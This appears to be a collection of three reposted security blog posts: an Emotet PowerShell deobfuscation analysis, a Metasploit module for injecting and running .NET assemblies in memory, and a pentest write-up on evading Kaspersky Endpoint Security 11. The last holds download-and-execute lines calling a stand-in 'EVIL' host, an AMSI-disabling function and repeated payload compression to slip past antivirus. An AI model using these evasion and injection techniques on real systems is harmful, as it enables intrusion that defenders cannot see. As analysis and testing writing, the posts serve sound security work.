Deobfuscating Emotet’s powershell payload

( Original text by malfind )

Emotet is a banking trojan, targeting computer users since around 2014. During that time it has changed its structure a lot. Lately we see massive emotet spam campaigns, using multiple phishing methods to bait users to download and launch a malicious payload, usually in the form of a weaponized Word document.

Emotet's chain of infection
Emotet’s chain of infection

First user receives a fake e-mail, trying to persuade him to click on the link, where the weaponized doc is being downloaded. Document is then trying to trick user to enable content and allow macros in order to launch embedded VBA code. VBA is obfuscated. We can also deobfuscate it, but in the end it launches a powershell command. Let’s skip VBA deobuscation today, as I want to focus on powershell. We can obtain powershell command launched by VBA code without deobfuscation, by using any sandbox with powershell auditing.

Typical Emotet document

The powershell code itself is obfuscated as well. The problem with just launching it in the virtual environment is that we probably won’t see every network IoC this way. Of course there are ways to do it (just block dns requests, and malware should try every fail-over domain), but in my opinion if there is time to do it – it is always better to deobfuscate code to better understand it.

Obfuscation is a way to make a malicious code unreadable. It has two purposes. First to trick antivirus signatures, second to make analysis of the code harder and more time-consuming.

In this post, I want to show three ways of obfuscation used by Emotet malware since December 2017.

1. String replace method

This method uses multiple powershell’s “replace” operators to swap a bunch of junk strings with characters that in the end produce a valid powershell code

Example 1. Code obfuscated with replace string method

Of course you can deobfuscate it manually in any text editor, just by replacing every string with its equivalent or you can speed up a process with correct regular expression. In the end you can put this regular expression in the python script and automate it completely. There are just few things to consider when implementing it in python:

  • String concatenations. These little ‘+’ can mess up with our regexp, so they have to be handled first
  • Char type projection – sometimes for additional obfuscation, strings to be replaced are not typed directly to the powershell code, but they are converted from int to char. We have to handle that as well
  • Replacing one part of the code can “generate” new replace operators – this is because “junk string” can be in the middle of replace operator (for example: -replFgJace, where FgJ is a string to be replaced with empty string). For this reason it is best to put regexp in the loop and perform replace operation as long as there is something to replace
Deobfuscated code from example 1

2. String compression

This method is quite simple as it uses powershell’s built-in class DeflateStream to decompress and execute a compressed stream.

Example 2. Decompress string obfuscation method

The easiest way to deobfuscate this is to use powershell to simply decompress the string. Just remember to remove command between first two parenthesis – its a an obfuscated Invoke-Expression cmdlet that will execute the code on your computer! Also, always use a safe (possibly disconnected from the network, unless you know what you are doing), virtualized environment when dealing with malicious code.

Decompression method deobfuscation in powershell

But what if we’d like to have a portable python script that can deal with this type of deobfuscation? If we look at MSDN documentation, then we will see that DeflateStream class follows RFC 1951 Deflate data format specification, and can actually be decompressed by using zlib library. There is one catch: zlib’s decompress method by default expects correct zlib file header, which DeflateStream does not have, as it is not a file but a stream. To force zlib to decompress a stream we can either add a header to it or simply pass a -zlib.MAX_WBITS (there is a minus at the beginning!) argument to decompress function. zlib.MAX_WBITS (which is 15) argument with a negative value informs decompress function that it should skip header bits.

3. ASCII codes array

How does the computer represents strings? Well that is simple, as numbers. But numbers are much harder to read for human than strings, so these numbers are later changed to strings by every program. But if obfuscation’s goal is to make code harder to read, then why don’t use this trick to hide a true purpose of malicious code? This is the third obfuscation method I will present.

Example 3. Ascii code array obfuscation method

On the example above we can see a long string, with a lot of numbers in it. If you are familiar with ASCII codes, you will probable recognize them instantly. If not then your hint should be a type projection after a pipe that converts every given string from table first to int then to char. Method presented in example 3, also uses a split operator, that splits a string by a given separator to further obfuscate the code. I saw samples where a pure char array is used instead of a string that had to be split.

To deobfuscate this in python simply use similar split method (found in re library), and then map numbers to chars by using chr() function.

Ascii array with split method deobfuscation in python

A little more about the code

So now we deobfuscated the code, what we can gain from it? We can clearly see that this is a simple dropper, that uses WebClient class to connect to hardcoded domains, download a binary to %TEMP% directory and then launch it. The break instruction combined with try-catch clause assures that this script will connect to the domains provided until a download operation is completed successfully. So if it gets a binary from the first domain on the list, we will never see others in dynamic analysis. This is why deobfuscation is important.


Many obfuscated  powershell scripts (not only from Emotet) are using Invoke-Expression cmdlet to run an obfuscated string as a code. This is very important when we are working with powershell malicious code in the windows console, because missed invoke-expression cmdlet will launch a code instead of just displaying it. Therefore it is always important to look for disguised Invoke-Expression cmdlets. Why disguised? Because they are not always easy to spot. Firstly, powershell allows for usage of aliases for long commands. So for example built-in alias for Invoke-Expression is “iex”. But this is not the end! Powershell also allows to concatenate strings and use them as cmdlets, and strings can be stored in variables. You see the problem?

Let’s return to example with DeflateString compression. there is a following line at the beginning of the script:


It takes a value of a powershell’s built-in variable $verbosepreference, converts it to string, takes 2nd and 4th char, concatenates it with ‘X’ and concatenates them all together to one string using join operator.

What is the default value of  $verbosepreference? It turns out it is ‘SilentlyContinue’. Second and forth chars of this string are, you guessed it, ‘i’ and ‘e’. When we concatenate them with ‘x’ we receive ‘iex’ – alias of Invoke-Expression cmdlet. Creepy? Kinda. this kind of tricks in powershell are very popular among malware developers.

Invoke-Expression obfuscation example

Homework: Can you spot an Invoke-Expression cmdlet in third example (ASCII table)?

Deobfuscation script for Emotet

I put my deobfuscation script for Emotet on GitHub. You can use it and modify it as you wish. For now it automatically detects and deobfuscates all obfuscation methods described in this post.

Execute assembly via Meterpreter session

( Original text by B4rtik )


Windows to run a PE file relies on reading the header. The PE header describes how it should be loaded in memory, which dependencies has and where is the entry point.
And what about .Net Assembly? The entry point is somewhere in the IL code. Direct execution of the assembly using the entry points in the intermediate code would cause an error.
This is because the intermediate code should not be executed first but the runtime will load the intermediate code and execute it.

Hosting CLR

In previous versions of Windows, execution is passed to an entry point where the boot code is located. The startup code, is a native code and uses an unmanaged CLR API to start the .NET runtime within the current process and launch the real program that is the IL code. This could be a good strategy to achieve the result. The final aim is: to run the assemply directly in memory, then the dll must have the assembly some where in memory, any command line parameters and a reference to the memory area that contains them.

Execute Assembly

So I need to create a post-exploitation module that performs the following steps:

  1. Spawn a process to host CLR (meterpreter)
  2. Reflectively Load HostCLR dll (meterpreter)
  3. Copy the assembly into the spawned process memory area (meterpreter)
  4. Copy the parameters into the spawned process memory area (meterpreter)
  5. Read assembly and parameters (dll)
  6. Execute the assembly (dll)

To start the Host process, metasploit provides Process.execute which has the following signature:

Process.execute (path, arguments = nil, opts = nil)

The interesting part is the ops parameter:

  1. Hidden
  2. Channelized
  3. Suspended
  4. InMemory

By setting Channelized to true, I can read the assembly output for free with the call

Once the Host process is created, Metasploit provides some functions for interacting with the memory of a remote process:

  1. inject_dll_into_process
  2. memory.allocate
  3. memory.write

The inject_dll_into_process function copies binary passed as an argument to a read-write-exec memory area and returns its address and an offset of the dll’s entry point.

exploit_mem, offset = inject_dll_into_process (process, library_path)

The memory.allocate function allocates memory by setting the required protection mode. In this case
I will write the parameters and the assembly in the allocated memory area, for none of these two elements I need the memory to be executable so I will set RW.

I decided to organize the memory area dedicated to parameters and assemblies as follows:

1024 bytes for the parameters
1M for the assembly

assembly_mem = process.memory.allocate (1025024, PAGE_READWRITE)

The third method allows to write data to a specified memory address.

process.memory.write (assembly_mem, params + (exe_path))

Now I have the memory address of dll, the offset to the entry point, the memory address fo both the parameters and the assembly to be executed.
Considering the function

Thread.create (entry, parameter = nil, suspended = false)

I can use the memory address of dll plus the offset as a value for the entry parameter and the address the parameter and assembly memory area as the parameter parameter value.

process.thread.create (exploit_mem + offset, assembly_mem)

This results in a call to the entry point and an LPVOID pointer as input parameter.

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

It’s all I need to recover the parameters to be passed to the assembly and the assembly itself.

ReadProcessMemory(GetCurrentProcess(), lpPayload, allData, RAW_ASSEMBLY_LENGTH + RAW_AGRS_LENGTH, &readed);

About the assemblies to be executed, it is important to note that the signature of the Main method must match with the parameters that have been set in the module, for example:

If the property ARGUMENTS is set to «antani sblinda destra» the main method should be «static void main (string [] args)»
If the property ARGUMENTS is set to «» the main method should be «static void main ()»

Chaining with SharpGen

A few days ago I read a blog post from @cobb_io where he presented an interesting tool for inline compilation of .net assemblies. By default execute-assembly module looks for assemblies in $(metasploit-framework-home)/data/execute-assembly but it is also possible to change this behavior by setting the property ASSEMBLYPATH for example by pointing it to the SharpGen Output folder in this way I can compile the assemblies and execute them directly with the module.

Source code

Bypassing Kaspersky Endpoint Security 11

( Original text by 0xc0ffee )


During a recent engagement, I was given a Windows tablet with no (pentest) tools installed and was asked to test its security and test how far I could go by compromising it. I had my own laptop but I was not allowed to directly connect to the internal network with it. However, I could use it as a C2 if I were to successfully compromise the tablet. Long story short, obtaining the initial shell was more difficult than owning the network due to the antivirus(es) that were required to bypass.


  1. Fully patched Windows 10 running on the tablet
  2. Up-to-date Kaspersky Endpoint Security 11 (KES11) on the tablet
  3. Google Chrome running a kiosk/PoS mode on the tablet
  4. Powershell Empire listener on the C2


So, I’m in Chrome’s kiosk/PoS mode on the tablet and every Windows shortcut is blocked such as WIN+R, ALT+TAB, CTRL+P, ALT+SPACE, etc. More on that here: Kiosk/POS Breakout Keys in Windows

However, the CTRL+N shortcut to open a new page was not blocked, bingo! We got a new page and Internet access, awesome. I went to the URL bar and quickly used the 

 scheme to download and open 

Instead of rushing straight into the terminal that just popped, I tried to open the Windows Explorer to have GUI access to files and shares by clicking 

Open file location
 on the downloaded file. Aaaaand, the action was denied, probably by a GPO.

Back to the terminal:

  1. I enumerated the files and shares and found nothing interesting.
  2. Ran 
    wmic product get name, version
     to enumerate the installed softwares and associated versions.
  3. Ran 
    wmic qfe get
     to list the hotfixes.
  4. Ran 
    net user my_user /domain
     was domain-joined to simulate an internal attack)
  5. Ran 
    whoami /priv
     to list my privileges.

Got nothing very interesting exploit-wise that would give me a quick win. I was a domain-joined user with no administrative privileges and had many restrictive GPOs applied to the groups I belonged to. AV wise, Kaspersky Endpoint Security version was installed and so did Windows Defender.

Fail, fail, fail and succeed

One of my goals was to prove I could bypass the AV by injecting an Empire implant and moving on from there. As this test was not a red team and was time-constrained, I did not replicate the tablet’s environment to perform my tests. So, I started by downloading the Empire Powershell launcher through an encrypted channel with Powershell’s Invoke-Expression: 

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there")
 and that would get detected, not by the AV, but by the firewall that was presumably performing SSL inspection! So, I needed a payload that could atleast get through the firewall before getting executed in memory. To spare you some time, I spent a full day failing over and over, getting either detected by the firewall or the AV, making the sysadmins very happy but also tired of getting alerts.

Compression and memory patching make a good pair

I knew Windows Defender was installed on the tablet and was leaving KES11 take control of most of the anti malware scanning. However, I learned the hard way that KES11 was making use of AMSI’s detection of script-based attacks. In fact, on their website, they mention the use of the AMSI technology, but only on the Kaspersky Security for Windows Serverpage:

Support for AMSI interfaces. Use of AMSI technology, which is integrated in Microsoft Windows, has enabled the improvement of the mechanism for intercepting script launches on the server. The stability of the Script Monitoring task is improved, the application’s influence on the environment is reduced when intercepting scripts and blocking them if threats are detected, and the task scope is significantly expanded – now the Script Monitoring component works not only with scripts in JS and VBS files, but also PS1 files. The functionality is available when the Script Monitoring component is installed on servers running Microsoft Windows Server 2016 or newer.

A colleague of mine recently shared an excellent blog post on how to bypass/disable the Anti Malware Scan Interface (AMSI) without elevated privileges by patching it in memory with a DLL : Bypass AMSI and Execute ANY malicious powershell code

With that in mind, we first need to bypass traffic inspection, remember? Invoke-Obfuscation comes to rescue. Compressing the Empire payload a few times was enough to get around it.

First, we grab the base64 part of our 

 file generated by Empire, decode it and send it over to 
. To do so, we run 
set SCRIPTBLOCK our_empire_base64decoded_payload

Next, we run 

 a couple of times to compress our payload:

I then successfully downloaded the file to load it in memory with IEX. But now that the traffic inspection was bypassed, the AV was blocking the execution of the payload (no surprise).

What I learned during this gig was that KES11’s heuristics or signatured-based detections were first firing on my payload before AMSI even had a chance to inspect the script. I had to compress the payload exactly 4 times before it could bypass the AV and then get detected by AMSI:

All that’s left to do is disable AMSI and we’re good to go. I hosted the following code on a web server and downloaded it on the tablet with IEX:

function Bypass-AMSI
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        Write-Output "DLL has been reflected";

Source: Bypass AMSI and Execute ANY malicious powershell code

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi")

Successful execution

Now that the payload is compressed 4 times and AMSI is disabled, we download the payload and execute it in memory:

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

In the screenshot above, we can see that compressing the payload up to 3 times gets detected by KES11. The 4th time, the payload gets through the AV and since AMSI is disabled, we get successful execution: